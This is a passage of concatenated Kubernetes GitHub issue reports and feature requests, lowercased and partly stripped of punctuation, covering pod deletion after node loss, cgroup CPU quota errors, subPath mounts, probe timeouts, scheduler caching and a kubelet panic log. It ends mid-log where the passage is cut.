expected to happen  :\r ut should pass\r \r   how to reproduce it    as minimally and precisely as possible :\r running ut in a centos vm on a mac\r \r   anything else we need to know  :\r \r

it seems we have no yaml example in the whole ds doc here: https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/, \r \r this is not good, if i were user, i would expect that every  k8s.io/concepts/workloads  has at least one example yaml. \r \r and this issue also apply to many other concepts doc besides ds.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r a pod went in to zombie state  unknown  where it wouldn't be  deleted after its node went down.\r \r   what you expected to happen  :\r \r pods should readily delete.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r not sure: but in this case we had a pod with 3 containers, the node went down  literally, couldn't ssh into it , and then, run  kubectl delete pod  infinitely, the delete operation succeeds, rather then failing - and in the pod is truly never deleted.\r \r   anything else we need to know?  :\r \r looking at the pod conditions, it clearly is aware that it lost its node.\r \r      \r   message: node kubernetes-minion-group-w2v6 which was running pod nginx-webapp-logstash-3874544627-5p63l\r     is unresponsive\r   phase: running\r   podip: 10.244.3.41\r   qosclass: burstable\r   reason: nodelost\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version\r    client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t06:43:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }   \r - gke\r

what happened  :\r two failing tests:\r   statefulsetbasic  should not deadlock when a pod's predecessor fails \r   statefulsetbasic  should provide basic identity \r \r affected test suites:\r  gke-gci-1.6-gci-1.8-upgrade-master \r  gke-gci-1.6-gci-1.8-upgrade-cluster \r  gke-cvm-1-6-gci-1-8-upgrade-master \r  gke-cvm-1-6-gci-1-8-upgrade-cluster \r \r link for  gke-gci-1.6-gci-1.8-upgrade-master : https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-gci-1.6-gci-1.8-upgrade-master&sort-by-failures=\r \r   anything else we need to know?  :\r these are not release blocking failures.\r \r it is due to removal of  pod.alpha.kubernetes.io/initialized  annotation by pr  49251. the tests require first pod to be created, be ready, and set to healthy before second pod is created. this is made possible by the annotation - it is set to  false  to halt creation of the second pod until the first pod is set healthy. however, for release 1.8, the annotation is removed. the tests will create the second pod immediately without waiting for the first pod to be set healthy, which results in the error  too many pods scheduled, expected 1 got 2 .\r \r   what we should do to resolve the issue?  :\r we can either:\r  1  re-design the tests so that they do not rely on the annotation,\r  2  skip the tests  just these two tests, other statefulset tests are still passing , or\r  3  do nothing  as it is expected  and communicate about this to the community\r \r /cc @enisoc @foxish

this is a tracker for the work items to bring server-side printing to beta in 1.10:\r \r server:\r \r    x  move the table api to beta\r       ~~put table api behind feature gate~~\r       determine whether to have a shorthand mime-type for table  application/json+meta+v1+table  or similar\r    x  add better e2e tests that verify that all apis implement the server side printer  https://github.com/kubernetes/kubernetes/pull/60580 \r    x  add a unit test that verifies everyone implements printer  https://github.com/kubernetes/kubernetes/pull/60580 \r    x  move the openapi column rendering for crd to the server in the crd implementation  60269\r       do a final pass on the default metadata renderer  the generic one \r       add a \ example fuzzer\  that returns a table filled with all the values we could anticipate so that it's easy to test client impls\r       review the table api with a js web console user\r       stretch goal: look at a csv mime type that uses table printing\r    x  provide a table implementation for services  59510 \r \r client:\r \r    x  have kubectl get fetch table resources and pass them into the printer  with fallback to client side printing if the server doesn't return a table   https://github.com/kubernetes/kubernetes/pull/55637 \r    x  have a flag to disable server side rendering that defaults to false\r    x  add client side tests that validate server side printing can be bypassed\r       sorting and printing should be using the table but with full objects returned via the print api   ?includeobject=object   and then doing the sort on nested, as should custom columns.\r       we should also test service-catalog resources with table printers. i have made a  note of this here  https://github.com/kubernetes/kubernetes/pull/55637 issue-152354172 .\r \r @juanvallejo

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r create a pod with a single container with cpu requests and limits of  51m .  when the container is run, it generates the following error:\r    \r 'invalid header field value \ oci runtime error: container_linux.go:247:\r           starting container process caused \\\ process_linux.go:327: setting cgroup\r           config for prochooks process caused \\\\\\\ failed to write 5100 to cpu.cfs_quota_us:\r           write /sys/fs/cgroup/cpu,cpuacct/kubepods.slice/kubepods-pod5383ae7e_22e2_11e8_9323_005056888407.slice/docker-154ab5a8cd23771c42db005a12cef3791ca672b8a1a9181e2939e6ea0e205d2b.scope/cpu.cfs_quota_us:\r           invalid argument\\\\\\\ \\\ \ \ '\r    \r \r   what you expected to happen  :\r the container runs properly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r docker and kubelet must be configured to use the systemd cgroup driver.\r create a pod with cpu limits that any contain a non-zero millicore digit  e.g. 51m .\r \r   anything else we need to know?  :\r the bug lies in  runc  https://github.com/opencontainers/runc .  the systemctl set-property rounds the cpu limit on the parent cgroup to the nearest percent  e.g. 5% .  the child cgroup is then created by docker with a cpu.cfs_quota_us with a greater value than the parent cgroup, which causes an error.\r \r the bug seems to have been fixed in  this commit  https://github.com/opencontainers/runc/commit/bca53e7b49208db35fcda418a45655fd2f8ea5bb diff-e99e0d455975094fba0f58dcd6a84522  and included in  runc 1.0.0-rc5  https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc5  which was released feb. 27, 2018.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r 3.10.0-693.5.2.el7.x86_64  1 smp fri oct 20 20:32:50 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r the systemd cgroup driver must be used for kubelet.\r \r @kubernetes/sig-node-bugs

fix status:  \r -     fix development in progress for master branch\r -     fix for release-1.10 branch pending completion of master branch fix\r -     fix for release-1.9 branch pending completion of master branch fix\r -     fix for release-1.8 branch pending completion of master branch fix\r -     fix for release-1.7 branch pending completion of master branch fix\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r with following pod:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: hp\r spec:\r   containers:\r   - image: nginx\r     name: hp1\r     volumemounts:\r     - mountpath: /test-pd\r       subpath: m1\r       name: test-volume\r   volumes:\r   - name: test-volume\r     hostpath:\r       path: /tmp\r    \r with k8s v1.10.0-beta.0, it will create '/tmp/m1' on host agent, and mount to the pod container. inside the container, if creating a file under '/test-pd', the file will appear in /tmp/m1 of host agent. this looks good.\r \r with k8s v1.10.0-beta.4, no dir will be created under '/tmp' on host agent. and if create some file under '/test-pd', the file will appear in '/var/lib/docker/overlay2/{id}/diff/tmp/m1'.\r \r the mount output for two versions:\r \r - v1.10.0-beta.0\r inside container:\r    \r   mount |grep test-pd\r /dev/sda1 on /test-pd type ext4  rw,relatime,discard,data=ordered \r    \r \r - v1.10.0-beta.4\r inside container:\r    \r   mount |grep test-pd\r overlay on /test-pd type overlay  rw,relatime,lowerdir=/var/lib/docker/overlay2/l/cwj5cikpxwkfo3iuaxuuskbykw:/var/lib/docker/overlay2/l/ju4v2it3h2pdjh2uzh6gt3qmnq:/var/lib/docker/overlay2/l/3pay56cxye6e2xj6f54dzgyn2j:/var/lib/docker/overlay2/l/lzxqk45mqsy3jxcys4tgr5c3zn:/var/lib/docker/overlay2/l/tkpk6o3b4ja7dfe7e56b256kns:/var/lib/docker/overlay2/l/nqlmb3zlz2xkpgkwg75t54uuxp:/var/lib/docker/overlay2/l/kozye6745j23t5t6zohzpuxxhl:/var/lib/docker/overlay2/l/sbwqyrhz57tzmsh4hj3evyjvr2:/var/lib/docker/overlay2/l/chxjuw26w2trz4dcwgs64gn4cn,upperdir=/var/lib/docker/overlay2/96acfb05025b8aa34fb28f33ae9dc684b4cbb09f670507e2b8d176feea66a5de/diff,workdir=/var/lib/docker/overlay2/96acfb05025b8aa34fb28f33ae9dc684b4cbb09f670507e2b8d176feea66a5de/work \r    \r \r   what you expected to happen  :\r the subpath to be created under volume root.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create the pod with given spec.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.4\ , gitcommit:\ a2dacb6f846e9d64d02c5dc5ab3972287d337405\ , gittreestate:\ clean\ , builddate:\ 2018-03-14t05:45:34z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   what happened  :\r \r  when enable the equivalence cache feature which make the pod scheduling performance decline.\r \r   what you expected to happen  :\r \r what i think is that when i enable the cache, it should enhance the performance of kube-scheduler.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - got a physical machine which is 32 cpus  and 64 gb memory\r \r - enable equivalence cache feature\r \r - schedule 3000 pods on 3000 nodes\r \r - use schduler_perf to run an integration test\r \r   anything else we need to know?  :\r \r enable cache: 60+/s\r disable cache: 100+/s\r \r defaults predicates do not cost too much time than ecache.get right now.\r \r podfitsonnodes which is a hot spot function, we use mutex.lock in the this function will make it slow, especially parallel processing. \r \r what's the plan of equivalence cache feature? at least now，if we enable ecache which is really make the performance decline.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.3\r - cloud provider or hardware configuration: linux 32cpus and 64gb mem \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  : linux dev 3.10.0-693.21.1.el7.x86_64  1 smp wed mar 7 19:03:37 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r  \r /assign @bsalamat \r /assign @resouer \r /assign @misterikkit\r

tests about replicaset and statefulset keep failing today.\r link: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/63011/pull-kubernetes-e2e-gce/50637/\r \r  

>  @kubernetes/sig-contributor-experience-<group-suffix>\r  \r \r i have tried \ kubectl top pod\  command in kubernetes cluster . but it gives the error as follows:\r \r error from server  serviceunavailable : the server is currently unable to handle the request  get services http:heapster: \r \r kubernetes cluster info:\r kubernetes master is running at https://          \r heapster is running at https://      :4  3/api/v1/namespaces/kube-system/services/heapster/proxy\r kubedns is running at https://      :4  3/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy\r \r i have installed metric-server from this url \ https://github.com/kubernetes-incubator/metrics-server\ \r used deploy/1.8\r \r \r please guide me to view my cpu and memory utilization of my pods using metric -server\r \r version:\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3+coreos.0\ , gitcommit:\ f1b890dbbf11abe58280b3ffe17d67749f5ae70e\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t17:27:17z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : core os \r - kernel  e.g.  uname -a  :\r $ uname -a\r linux            4.9.24-coreos  1 smp tue         utc 2017 x86_64 intel core processor  haswell, no tsx  genuineintel gnu/linux\r - install tools:\r - others:\r

what would you like to be added  :\r \r high-level notifications api, where a notification is a kubernetes resource:\r \r    yaml\r apiversion: v1alpha1\r kind: notification\r metadata:\r   name: service-notification\r   labels:\r     app: my-app-example\r spec:\r   watch: deployment\r   selector:\r     matchlabels:\r       - my-deployment\r   rules:\r     -  tbd ... similar to admission webhooks \r   notify:\r     webhook: https://my-service.example/k8s\r     secret: my-opaque-secret\r     payload: v1alpha1\r    \r \r this is a little bit different than admission webhooks, because there is no need to mutate / validate an operation on a resource. also, the notification is being triggered after persisting a resource in etcd, instead of executing the webhook before that happens.\r \r this is similar to docker distribution notifications :arrow_right: https://docs.docker.com/registry/notifications/\r \r   why is this needed  :\r \r we would like to integrate a few of our services with kubernetes.\r \r currently we are using api polling to populate the service with a cluster state. we are considering creating an in-cluster controller along with a few other options, but having first-class, high-level notifications in kubernetes might be an interesting, generic solution for this problem.\r \r i might be missing something and perhaps we can already achieve something like this with kubernetes, please let me know if something like this already exists.\r \r if this feature seems to be as useful to a wider community, i'm willing to spend some time working on it.\r \r thanks for the input in advance :

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r a daemonset pod will be evicted by kubelet when met eviction signal. \r   what you expected to happen  :\r do not evict a daemonset pod, since the pod is immediately recreated and rescheduled back to the same node.\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

from http://kubekins.dls.corp.google.com/view/critical%20builds/job/kubernetes-e2e-gce-reboot/10713/consolefull  it looks like the intent was to wait 5 minutes for a pod to be ready, but instead we waited only 1m22s before aborting.  i suspect the issue is in checkpodsrunningready's call to waitforpodcondition where it silently? discards an error?  or is it that waitforpodcondition is returning too soon for reasons i don't understand.  03:00:59 jan 20 03:00:59.381: info: waiting up to 5m0s for pod monitoring-influxdb-grafana-v2-4krr3 status to be running and ready ... 03:01:17 jan 20 03:01:17.438: info: waiting for pod monitoring-influxdb-grafana-v2-4krr3 in namespace 'kube-system' status to be 'running and ready' found phase: \ running\ , readiness: false   18.057241374s elapsed  03:01:19 jan 20 03:01:19.444: info: waiting for pod monitoring-influxdb-grafana-v2-4krr3 in namespace 'kube-system' status to be 'running and ready' found phase: \ running\ , readiness: false   20.06332201s elapsed  03:01:21 jan 20 03:01:21.450: info: wanted all 7 pods to be running and ready. result: false. pods:  monitoring-influxdb-grafana-v2-4krr3 elasticsearch-logging-v1-cadk7 fluentd-elasticsearch-e2e-reboot-minion-1ruz kube-proxy-e2e-reboot-minion-1ruz kibana-logging-v1-k8xy4 heapster-v11-1bwwn elasticsearch-logging-v1-yjgco  03:01:21 jan 20 03:01:21.450: info: node e2e-reboot-minion-1ruz failed reboot test.  @a-robinson due to a todo a-robinson  in the code and @lavalamp who wrote much of the wait code once upon a time?

this keeps confusing people so clearly we're not doc'ing it well enough. when to use what, why is external ip a list, what happens when you set both external and lb ip, what happens to the old lb ip etc?   not to mention deprecated public ip :   i think we should recommend: - spec.loadblancerip if they just want to use an existing static ip on gce  and clarify that the old ip will get purged  - externalip if they have some non-gce static ip already in dns  and clarify that they need to handle routing up to the nodes

rfc: adding test cases to  e2e/volumes.go  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/volumes.go     background  as we are developing features and new volume plugins, the e2e test cases are not catching up at the same pace. this proposal aims to cover the security context and more volume plugins.    existing test cases in  e2e/volumes.go  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/volumes.go   a storage server pod that runs one of glusterfs, nfs, ceph rbd, ceph fs, iscsi, and openstack cinder exports a file share. the file share containers a sample file. the test passes if a client pod can mount the file share and test passes and read the sample file.   since the client pod has selinux label and fsgroup in securitycontext, securitycontext must be enabled. the server container runs in privileged mode, so kubelet must allow privileged mode.    existing red hat tests proposed for transfer to kubernetes e2e test environment  | test case | pr | status | | --- | --- | --- | | 1 |  25100 |  | | 2 |  |  | | 3 |  |  | | 4 |  |  | | 5 |  |  | | 6 |  |  | | 7 |  |  |     1. support more volume plugins  similar to the existing server pods, we want to test against other volume plugins such as ebs, gce pd, git repo, and probably fibre channel and azure file.     test securitycontext: supplemental group, runasuser and selinux      2. verify that client pod with correct gid could access the volume - setup. in server  not nfs  pod, if the file share’s gid is unknown, set the file share’s gid to 100001  chown root:100001 /path/to/share . in client pod, set supplementalgroups to the same gid - expected result: client pod can read sample on the file share      3. verify that client pod with wrong gid cannot access the volume - setup. in server  not nfs  pod, if the file share’s gid is unknown, set the file share’s gid to 100001  chown root:100001 /path/to/share . in client pod, set supplementalgroups to 100002 - expected result: client pod can not read sample on the file share      4. verify the files created by client pod under the volume has expected uid/gid - setup. in server  not nfs  pod, if the file share’s gid is unknown, set the file share’s gid to 100001  chown root:100001 /path/to/share , set the file share to be writable. in client pod, set supplementalgroups to 100001 and runasuser to 100002, client pod writes a file to the file share - expected result: client pod can write to the file share and the file’s uid is 100002 and gid is 100001  or the file share's gid if it is known       5. for block storage  iscsi, ceph rbd,  aws ebs, gce pd, and openstack cinder , verify the volume has expected gid as in fsgroup - setup. in server  not nfs  pod, if the file share’s gid is unknown, set the file share to be writable. in client pod, set fsgroup to 100001 and runasuser to 100002, client pod writes a file to the file share - expected result: client pod can write to the file share and the file’s uid is 100002 and gid is 100001  or the file share's gid if it is known       6. verify directory with expected selinux label - setup. in server  not nfs  pod, set the file share to be writable. in client pod, set selinuxoptions to “s0:c13,c2”, client pod writes a file to the file share - expected result: client pod can write to the file share and the file’s selinux label is “s0:c13,c2”  @kubernetes/sig-storage @kubernetes/sig-testing

i'm using a readiness probe that may take a long time to run, and i expected it to be interrupted after the specified timeout.  a probe defined like this:      json \ readinessprobe\ : {   \ exec\ : {     \ command\ :  \ bash\ , \ -c\ , \ sleep 15\     },   \ timeoutseconds\ : 5 }      instead of timing out and failing, it is actually succeeding and ignoring the timeout.  i noticed that both  tcpsocketaction  and  httpgetaction  probes timeout according to the value of  timeoutseconds ,  execaction  on the other hand ignores it.  looking at the code:   if p.exec != nil , no reference to timeout:  pkg/kubelet/prober/prober.go l146  https://github.com/kubernetes/kubernetes/blob/6ecfb4c8fad41156e1fbccf29ac9f5d98901e991/pkg/kubelet/prober/prober.go l146    if p.httpget != nil || p.tcpsocket != nil , timeout is used:  pkg/kubelet/prober/prober.go l163  https://github.com/kubernetes/kubernetes/blob/6ecfb4c8fad41156e1fbccf29ac9f5d98901e991/pkg/kubelet/prober/prober.go l163   pkg/kubelet/prober/prober.go l171  https://github.com/kubernetes/kubernetes/blob/6ecfb4c8fad41156e1fbccf29ac9f5d98901e991/pkg/kubelet/prober/prober.go l171

\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r as a developer or an operator of an application without cluster admin permissions, i would like to configuire\r net.core.somaxconn in pod configuration as explained in the following doc:\r https://kubernetes.io/docs/concepts/cluster-administration/sysctl-cluster/\r \r   what you expected to happen  :\r \r i expect to be able to configure net.core.somaxconn in my pod configuration.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r n/a\r \r   anything else we need to know?  :\r \r \r iiuc, the kernel parameter gets initialized upon netns creation\r https://github.com/torvalds/linux/blob/80cee03bf1d626db0278271b505d7f5febb37bba/net/core/net_namespace.c l318\r \r so, i think it's safe to whiltelist as a safe operation.\r if we agree, i'd like to prepare a pull request. \r \r \r   environment  :\r \r - kubernetes version  use  kubectl version  : head of master on github\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  : feature request\r \r  \r it's currently common to hear discussion of crds and apiserver aggregations and then the conclusion that crds can't be used due to a lack of ability to version them properly and thus it's not possible to build operators that may have their crds change and evolve over time as they have no way to version and migrate.\r \r given the limited use of the apiversion field, as-is, for custom resources, would it make sense to change how the custom resource apis work such that custom resources can only be retrieved for the apiversion for which they were stored? this would allow operators to handle multiple apiversions as different versions of the custom resource itself, and would enable the ability for operators to automatically migrate and upgrade the custom resources they know about.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r bug report\r > uncomment only one, leave it on its own line:\r >\r    lifecycle\r  ops\r \r >  \r \r   what happened  :\r soft lockup on kubenetes node \r \r  root@node2 ~    12032.818764  nmi watchdog: bug: soft lockup - cpu 6 stuck for 22s!  kubelet:1663 \r  12032.825804  modules linked in: nvme_tcp oe  nvme_fabrics oe  nvme_core oe  xt_nat xt_recent xt_conntrack ip_set nfnetlink xt_addrtype ipt_masquerade nf_nat_masquerade_ipv4 xt_comment iptable_filter xt_mark iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack overlay t  mlx4_ib mlx4_en ib_core ptp pps_core iosf_mbi crc32_pclmul ghash_clmulni_intel aesni_intel ppdev lrw gf128mul glue_helper ablk_helper cryptd mlx4_core parport_pc sg parport joydev virtio_balloon devlink pcspkr i2c_piix4 br_netfilter bridge stp llc ip_tables xfs libcrc32c sr_mod cdrom ata_generic pata_acpi virtio_blk cirrus drm_kms_helper 8139too syscopyarea sysfillrect sysimgblt fb_sys_fops ttm ata_piix drm libata crct10dif_pclmul crct10dif_common crc32c_intel serio_raw virtio_pci 8139cp virtio_ring i2c_core virtio mii floppy\r  12032.860743  cpu: 6 pid: 1663 comm: kubelet kdump: loaded tainted: g           oe  ------------ t 3.10.0-862.el7.x86_64  1\r  12032.864236  hardware name: qemu standard pc  i440fx + piix, 1996 , bios ubuntu-1.8.2-1ubuntu1 04/01/2014\r  12032.867261  task: ffff9ca1b6400fd0 ti: ffff9ca0387ec000 task.ti: ffff9ca0387ec000\r  12032.869667  rip: 0010: <ffffffffad307e3a>    <ffffffffad307e3a>  smp_call_function_many+0x20a/0x270\r  12032.872679  rsp: 0018:ffff9ca0387efcb8  eflags: 00000202\r  12032.874388  rax: 0000000000000001 rbx: 00000000000000fc rcx: ffff9ca1bfc5ccc0\r  12032.876677  rdx: 0000000000000001 rsi: 0000000000000008 rdi: 0000000000000000\r  12032.878966  rbp: ffff9ca0387efcf0 r08: ffff9ca0fc820400 r09: ffffffffad54a3d9\r  12032.881254  r10: ffff9ca1bfd9bb00 r11: ffffd8eb02a53400 r12: 0000000000000296\r  12032.883557  r13: ffff9ca0387efc68 r14: 0000000000000001 r15: ffffffffad3f8139\r  12032.885837  fs:  00007f1716ffd700 0000  gs:ffff9ca1bfd80000 0000  knlgs:0000000000000000\r  12032.888430  cs:  0010 ds: 0000 es: 0000 cr0: 0000000080050033\r  12032.890295  cr2: 00007f1736aa7000 cr3: 00000002293d6000 cr4: 00000000000406e0\r  12032.892624  call trace:\r  12032.893496    <ffffffffad277018>  native_flush_tlb_others+0xb8/0xc0\r  12032.895532    <ffffffffad277088>  flush_tlb_mm_range+0x68/0x140\r  12032.897473    <ffffffffad3c0497>  tlb_flush_mmu.part.75+0x37/0xe0\r  12032.899818    <ffffffffad3c1c75>  tlb_finish_mmu+0x55/0x60\r  12032.901638    <ffffffffad3ca624>  unmap_region+0xf4/0x140\r  12032.903490    <ffffffffad3cabe1>  ? __vma_rb_erase+0x121/0x220\r  12032.905483    <ffffffffad3ccbf5>  do_munmap+0x295/0x470\r  12032.907252    <ffffffffad3cce35>  vm_munmap+0x65/0xb0\r  12032.908994    <ffffffffad3ce052>  sys_munmap+0x22/0x30\r  12032.910791    <ffffffffad91f7d5>  system_call_fastpath+0x1c/0x21\r  12032.912832    <ffffffffad91f721>  ? system_call_after_swapgs+0xae/0x146\r  12032.915017  code: 48 63 35 8e b6 c3 00 89 c2 39 f0 0f 8d 7d fe ff ff 48 98 49 8b 0f 48 03 0c c5 a0 53 f3 ad f6 41 20 01 74 cd 0f 1f 44 00 00 f3 90 <f6> 41 20 01 75 f8 48 63 35 5d b6 c3 00 eb b7 0f b6 4d cc 4c 89 \r  12060.818568 \r \r   what you expected to happen  :\r the pod should be created on this node, and node should be healthy.\r \r   how to reproduce it  as minimally and precisely as possible   :\r installed k8s cluster through kubespray ansible playbook and where custom flexvolume plugin is insatlled.\r after creating pod on master it went to node2 and node 2 get crashed.\r \r   anything else we need to know?  :\r \r   environment  :\r \r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:00:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:00:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration:\r kvm guest  8gb ram to each node with 8 cores \r \r - os  e.g. from /etc/os-release :\r centos 7.5 default kernel\r \r - kernel  e.g.  uname -a  :\r 3.10.0-862.el7.x86_64\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r  at present, docker still the main and default container runtime engine for k8s, so i think making  dockershim  support  kata-containers  is very useful for the people of using secure containers. \r \r now, kata-runtime have added support for dockershim pod annotations, see  dockershim/annotations.go  https://github.com/kata-containers/runtime/blob/master/virtcontainers/pkg/annotations/dockershim/annotations.go , \r and related pr have created in docker community, see:  moby/moby/pull/36181  https://github.com/moby/moby/pull/36181 \r \r   what you expected to happen  :\r make dockershim support kata-containers\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r kubelet panics after registering node\r \r   what you expected to happen  :\r \r kubelet should not panic\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use kubelet on an arm64 machine  i'm on scaleway provider \r \r   anything else we need to know?  :\r \r i upgraded from 1.12.3 to 1.13.0\r \r here is the statup log  only the end :\r \r    \r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : i1205 14:17:18.151924    5523 reconciler.go:154  reconciler: start to sync state\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : i1205 14:17:18.327832    5523 kubelet_node_status.go:114  node scw-xxxxxx was previously registered\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : i1205 14:17:18.327924    5523 kubelet_node_status.go:75  successfully registered node scw-xxxxxx\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : e1205 14:17:18.356785    5523 runtime.go:69  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /workspace/anago-v1.13.0-rc.2.1+ddf47ac13c1a94/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:76\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : 